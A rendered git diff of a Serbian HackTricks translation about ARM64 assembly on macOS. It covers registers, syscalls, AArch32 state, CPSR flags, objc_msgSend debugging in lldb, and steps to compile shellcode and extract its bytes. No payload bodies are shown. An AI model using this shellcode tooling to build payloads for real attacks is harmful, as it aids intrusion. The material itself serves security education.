* **`stur`**: **Čuva vrednost registra na lokaciji u memoriji**, koristeći ofset od drugog registra.
|
* **`stur`**: **Smešta vrednost registra na lokaciju u memoriji**, koristeći ofset od drugog registra.
|
||||||
* Primer: `stur x0, [x1, #4]` — Ovo smešta vrednost iz `x0` na adresu u memoriji koja je 4 bajta veća od adrese u `x1`.
|
* Primer: `stur x0, [x1, #4]` — Ovo smešta vrednost iz `x0` na adresu u memoriji koja je 4 bajta veća od adrese u `x1`.
|
||||||
* **`svc`** : Pravi **sistemski poziv**. Ovo označava "Supervizorski poziv". Kada procesor izvrši ovu instrukciju, prelazi iz korisničkog režima u režim jezgra i skače na određenu lokaciju u memoriji gde se nalazi kod za **obradu sistemskog poziva jezgra**.
|
* **`svc`** : Napravi **sistemski poziv**. Ovo označava "Supervizorski poziv". Kada procesor izvrši ovu instrukciju, prelazi iz korisničkog režima u režim jezgra i skače na određenu lokaciju u memoriji gde se nalazi kod za **obradu sistemskog poziva jezgra**.
|
||||||
* Primer:
|
* Primer:
|
||||||
|
|
||||||
```armasm
|
```armasm
|
||||||
mov x8, 93 ; Učitava broj sistema za izlazak (93) u registar x8.
|
mov x8, 93 ; Učitaj broj sistema za izlazak (93) u registar x8.
|
||||||
mov x0, 0 ; Učitava kod statusa izlaska (0) u registar x0.
|
mov x0, 0 ; Učitaj kod statusa izlaska (0) u registar x0.
|
||||||
svc 0 ; Pravi sistemski poziv.
|
svc 0 ; Napravi sistemski poziv.
|
||||||
```
|
```
|
||||||
|
|
||||||
### **Prolog funkcije**
|
### **Prolog funkcije**
|
||||||
|
|
||||||
1. **Sačuvajte registar linka i pokazivač okvira na steku**:
|
1. **Sačuvaj registar linka i pokazivač okvira na steku**:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```armasm
|
```armasm
|
||||||
|
@ -261,13 +261,13 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th
|
||||||
|
|
||||||
3. **Povratak**: `ret` (vraća kontrolu pozivaocu koristeći adresu u registru veze)
|
3. **Povratak**: `ret` (vraća kontrolu pozivaocu koristeći adresu u registru veze)
|
||||||
|
|
||||||
## Stanje izvršenja AARCH32
|
## Stanje izvršavanja AARCH32
|
||||||
|
|
||||||
Armv8-A podržava izvršenje 32-bitnih programa. **AArch32** može raditi u jednom od **dva skupa instrukcija**: **`A32`** i **`T32`** i može prelaziti između njih putem **`interworking`**-a.\
|
Armv8-A podržava izvršavanje 32-bitnih programa. **AArch32** može raditi u jednom od **dva skupa instrukcija**: **`A32`** i **`T32`** i može prelaziti između njih putem **`interworking`**-a.\
|
||||||
**Privilegovani** 64-bitni programi mogu zakazati **izvršenje 32-bitnih** programa izvršavanjem transfera nivoa izuzetka na niže privilegovani 32-bitni program.\
|
**Privilegovani** 64-bitni programi mogu zakazati **izvršavanje 32-bitnih** programa izvršavanjem transfera nivoa izuzetka na niže privilegovani 32-bitni program.\
|
||||||
Napomena da se prelazak sa 64-bitnog na 32-bitni dešava sa nižim nivoom izuzetka (na primer, 64-bitni program u EL1 pokreće program u EL0). Ovo se postiže postavljanjem **bita 4 od** **`SPSR_ELx`** specijalnog registra **na 1** kada je `AArch32` procesna nit spremna za izvršenje, a ostatak `SPSR_ELx` čuva **`AArch32`** programe CPSR. Zatim, privilegovani proces poziva instrukciju **`ERET`** kako bi procesor prešao u **`AArch32`** ulazeći u A32 ili T32 u zavisnosti od CPSR\*\*.\*\*
|
Napomena da se prelazak sa 64-bitnog na 32-bitni dešava sa nižim nivoom izuzetka (na primer, 64-bitni program u EL1 pokreće program u EL0). Ovo se postiže postavljanjem **bita 4 od** **`SPSR_ELx`** specijalnog registra **na 1** kada je `AArch32` procesna nit spremna za izvršavanje, a ostatak `SPSR_ELx` čuva **`AArch32`** programe CPSR. Zatim, privilegovani proces poziva instrukciju **`ERET`** kako bi procesor prešao u **`AArch32`** ulazeći u A32 ili T32 u zavisnosti od CPSR-a\*\*.\*\*
|
||||||
|
|
||||||
**`Interworking`** se dešava korišćenjem bitova J i T u CPSR-u. `J=0` i `T=0` znači **`A32`** i `J=0` i `T=1` znači **T32**. Ovo se u osnovi prevodi u postavljanje **najnižeg bita na 1** kako bi se naznačilo da je skup instrukcija T32.\
|
**`Interworking`** se dešava korišćenjem bitova J i T u CPSR-u. `J=0` i `T=0` znači **`A32`** i `J=0` i `T=1` znači **T32**. Ovo se u osnovi prevodi na postavljanje **najnižeg bita na 1** kako bi se naznačilo da je skup instrukcija T32.\
|
||||||
Ovo se postavlja tokom **instrukcija grana interworking-a**, ali se takođe može postaviti direktno i drugim instrukcijama kada je PC postavljen kao registar odredišta. Primer:
|
Ovo se postavlja tokom **instrukcija grana interworking-a**, ali se takođe može postaviti direktno i drugim instrukcijama kada je PC postavljen kao registar odredišta. Primer:
|
||||||
|
|
||||||
Još jedan primer:
|
Još jedan primer:
|
||||||
|
@ -292,23 +292,23 @@ Postoje 16 registara od 32 bita (r0-r15). **Od r0 do r14** mogu se koristiti za
|
||||||
- **`r14`**: Registar za povezivanje
|
- **`r14`**: Registar za povezivanje
|
||||||
|
|
||||||
Osim toga, registri se čuvaju u **`bankovnim registrima`**. To su mesta koja čuvaju vrednosti registara omogućavajući **brzo prebacivanje konteksta** u rukovanju izuzecima i privilegovanim operacijama kako bi se izbegla potreba za ručnim čuvanjem i vraćanjem registara svaki put.\
|
Osim toga, registri se čuvaju u **`bankovnim registrima`**. To su mesta koja čuvaju vrednosti registara omogućavajući **brzo prebacivanje konteksta** u rukovanju izuzecima i privilegovanim operacijama kako bi se izbegla potreba za ručnim čuvanjem i vraćanjem registara svaki put.\
|
||||||
Ovo se postiže **čuvanjem stanja procesora od `CPSR` do `SPSR`** režima procesora u koji se preuzima izuzetak. Prilikom povratka izuzetka, **`CPSR`** se obnavlja iz **`SPSR`**.
|
Ovo se postiže **čuvanjem stanja procesora od `CPSR` do `SPSR`** procesorskog moda u koji se preuzima izuzetak. Prilikom povratka izuzetka, **`CPSR`** se obnavlja iz **`SPSR`**.
|
||||||
|
|
||||||
### CPSR - Trenutni registar statusa programa
|
### CPSR - Trenutni registar statusa programa
|
||||||
|
|
||||||
U AArch32, CPSR funkcioniše slično kao **`PSTATE`** u AArch64 i takođe se čuva u **`SPSR_ELx`** kada se preuzme izuzetak radi kasnijeg obnavljanja izvršenja:
|
U AArch32, CPSR radi slično kao **`PSTATE`** u AArch64 i takođe se čuva u **`SPSR_ELx`** kada se preuzme izuzetak radi kasnijeg obnavljanja izvršenja:
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (725).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (725).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Polja su podeljena u neke grupe:
|
Polja su podeljena u neke grupe:
|
||||||
|
|
||||||
- Registar statusa aplikacije (APSR): Aritmetički zastavice i pristupačne iz EL0
|
- Registar statusa programa aplikacije (APSR): Aritmetički zastavice i pristupačne iz EL0
|
||||||
- Registri stanja izvršenja: Ponašanje procesa (upravljano od strane OS-a).
|
- Registri stanja izvršenja: Ponašanje procesa (upravljano od strane OS-a).
|
||||||
|
|
||||||
#### Registar statusa aplikacije (APSR)
|
#### Registar statusa programa aplikacije (APSR)
|
||||||
|
|
||||||
- Zastavice **`N`**, **`Z`**, **`C`**, **`V`** (kao i u AArch64)
|
- Zastavice **`N`**, **`Z`**, **`C`**, **`V`** (kao i u AArch64)
|
||||||
- Zastavica **`Q`**: Postavlja se na 1 kada se **desi zasićenje celobrojnih vrednosti** tokom izvršenja specijalizovane aritmetičke instrukcije. Kada se jednom postavi na **`1`**, zadržava vrednost dok se ručno ne postavi na 0. Takođe, ne postoji instrukcija koja implicitno proverava njegovu vrednost, već se to mora uraditi čitanjem ručno.
|
- Zastavica **`Q`**: Postavlja se na 1 kada se **desi zasićenje celobrojnih vrednosti** tokom izvršenja specijalizovane aritmetičke instrukcije. Kada se jednom postavi na **`1`**, zadržava vrednost dok se ručno ne postavi na 0. Osim toga, ne postoji instrukcija koja implicitno proverava njegovu vrednost, već se mora pročitati ručno.
|
||||||
- **`GE`** (Veće ili jednako) zastavice: Koriste se u SIMD (Single Instruction, Multiple Data) operacijama, poput "paralelnog sabiranja" i "paralelnog oduzimanja". Ove operacije omogućavaju obradu više podataka u jednoj instrukciji.
|
- **`GE`** (Veće ili jednako) zastavice: Koriste se u SIMD (Single Instruction, Multiple Data) operacijama, poput "paralelnog sabiranja" i "paralelnog oduzimanja". Ove operacije omogućavaju obradu više podataka u jednoj instrukciji.
|
||||||
|
|
||||||
Na primer, instrukcija **`UADD8`** **sabira četiri para bajtova** (iz dva 32-bitna operanda) paralelno i čuva rezultate u 32-bitnom registru. Zatim **postavlja `GE` zastavice u `APSR`** na osnovu ovih rezultata. Svaka GE zastavica odgovara jednom od sabiranja bajtova, ukazujući da li je sabiranje za taj par bajtova **prekoračilo**.
|
Na primer, instrukcija **`UADD8`** **sabira četiri para bajtova** (iz dva 32-bitna operanda) paralelno i čuva rezultate u 32-bitnom registru. Zatim **postavlja `GE` zastavice u `APSR`** na osnovu ovih rezultata. Svaka GE zastavica odgovara jednom od sabiranja bajtova, ukazujući da li je sabiranje za taj par bajtova **prekoračilo**.
|
||||||
|
@ -320,7 +320,7 @@ Instrukcija **`SEL`** koristi ove GE zastavice za izvođenje uslovnih radnji.
|
||||||
- Bitovi **`J`** i **`T`**: **`J`** treba da bude 0, a ako je **`T`** 0, koristi se skup instrukcija A32, a ako je 1, koristi se T32.
|
- Bitovi **`J`** i **`T`**: **`J`** treba da bude 0, a ako je **`T`** 0, koristi se skup instrukcija A32, a ako je 1, koristi se T32.
|
||||||
- Registar stanja bloka IT (`ITSTATE`): Ovo su bitovi od 10-15 i 25-26. Čuvaju uslove za instrukcije unutar grupe sa prefiksom **`IT`**.
|
- Registar stanja bloka IT (`ITSTATE`): Ovo su bitovi od 10-15 i 25-26. Čuvaju uslove za instrukcije unutar grupe sa prefiksom **`IT`**.
|
||||||
- Bit **`E`**: Označava **endianness**.
|
- Bit **`E`**: Označava **endianness**.
|
||||||
- Bitovi moda i maski izuzetka (0-4): Određuju trenutno stanje izvršenja. Peti označava da li program radi kao 32-bitni (1) ili 64-bitni (0). Ostala 4 predstavljaju **trenutni korišćeni režim izuzetka** (kada se desi izuzetak i kada se rukuje njime). Postavljeni broj označava **trenutni prioritet** u slučaju da se desi još jedan izuzetak dok se ovaj rukuje.
|
- Bitovi moda i maski izuzetka (0-4): Određuju trenutno stanje izvršenja. Peti označava da li program radi kao 32-bitni (1) ili 64-bitni (0). Ostala 4 predstavljaju **trenutni korišćeni režim izuzetka** (kada se desi izuzetak i kada se rukuje njime). Broj postavljen **označava trenutni prioritet** u slučaju da se desi drugi izuzetak dok se ovaj rukuje.
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (728).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (728).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -345,9 +345,36 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib
|
||||||
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
|
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
|
||||||
```
|
```
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Ponekad je lakše proveriti **dekompilovani** kod iz **`libsystem_kernel.dylib`** **nego** proveravati **izvorni kod** jer je kod nekoliko syscalls (BSD i Mach) generisan putem skripti (proverite komentare u izvornom kodu), dok u dylib datoteci možete videti šta se poziva.
|
Ponekad je lakše proveriti **dekompilovani** kod iz **`libsystem_kernel.dylib`** **nego** proveravati **izvorni kod** jer je kod nekoliko syscalls (BSD i Mach) generisan putem skripti (proverite komentare u izvornom kodu), dok u dylib-u možete pronaći šta se poziva.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
### objc\_msgSend
|
||||||
|
|
||||||
|
Veoma je često pronaći ovu funkciju korišćenu u Objective-C ili Swift programima. Ova funkcija omogućava pozivanje metode objekta Objective-C.
|
||||||
|
|
||||||
|
Parametri ([više informacija u dokumentaciji](https://developer.apple.com/documentation/objectivec/1456712-objc\_msgsend)):
|
||||||
|
|
||||||
|
* x0: self -> Pokazivač na instancu
|
||||||
|
* x1: op -> Selektor metode
|
||||||
|
* x2... -> Ostali argumenti pozvane metode
|
||||||
|
|
||||||
|
Dakle, ako postavite prekidnu tačku pre grananja ka ovoj funkciji, lako možete pronaći šta je pozvano u lldb-u sa (u ovom primeru objekat poziva objekat iz `NSConcreteTask` koji će pokrenuti komandu):
|
||||||
|
```
|
||||||
|
(lldb) po $x0
|
||||||
|
<NSConcreteTask: 0x1052308e0>
|
||||||
|
|
||||||
|
(lldb) x/s $x1
|
||||||
|
0x1736d3a6e: "launch"
|
||||||
|
|
||||||
|
(lldb) po [$x0 launchPath]
|
||||||
|
/bin/sh
|
||||||
|
|
||||||
|
(lldb) po [$x0 arguments]
|
||||||
|
<__NSArrayI 0x1736801e0>(
|
||||||
|
-c,
|
||||||
|
whoami
|
||||||
|
)
|
||||||
|
```
|
||||||
### Shellkodovi
|
### Shellkodovi
|
||||||
|
|
||||||
Za kompajliranje:
|
Za kompajliranje:
|
||||||
|
@ -358,14 +385,14 @@ ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/Comm
|
||||||
# You could also use this
|
# You could also use this
|
||||||
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
|
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
|
||||||
```
|
```
|
||||||
Da izvučemo bajtove:
|
Da biste izvukli bajtove:
|
||||||
```bash
|
```bash
|
||||||
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
|
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
|
||||||
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
||||||
echo -n '\\x'$c
|
echo -n '\\x'$c
|
||||||
done
|
done
|
||||||
```
|
```
|
||||||
<details>
|
<detalji>
|
||||||
|
|
||||||
<summary>C kod za testiranje shell koda</summary>
|
<summary>C kod za testiranje shell koda</summary>
|
||||||
```c
|
```c
|
||||||
|
@ -699,7 +726,7 @@ Drugi načini da podržite HackTricks:
|
||||||
|
|
||||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)!
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
|
Loading…
Reference in a new issue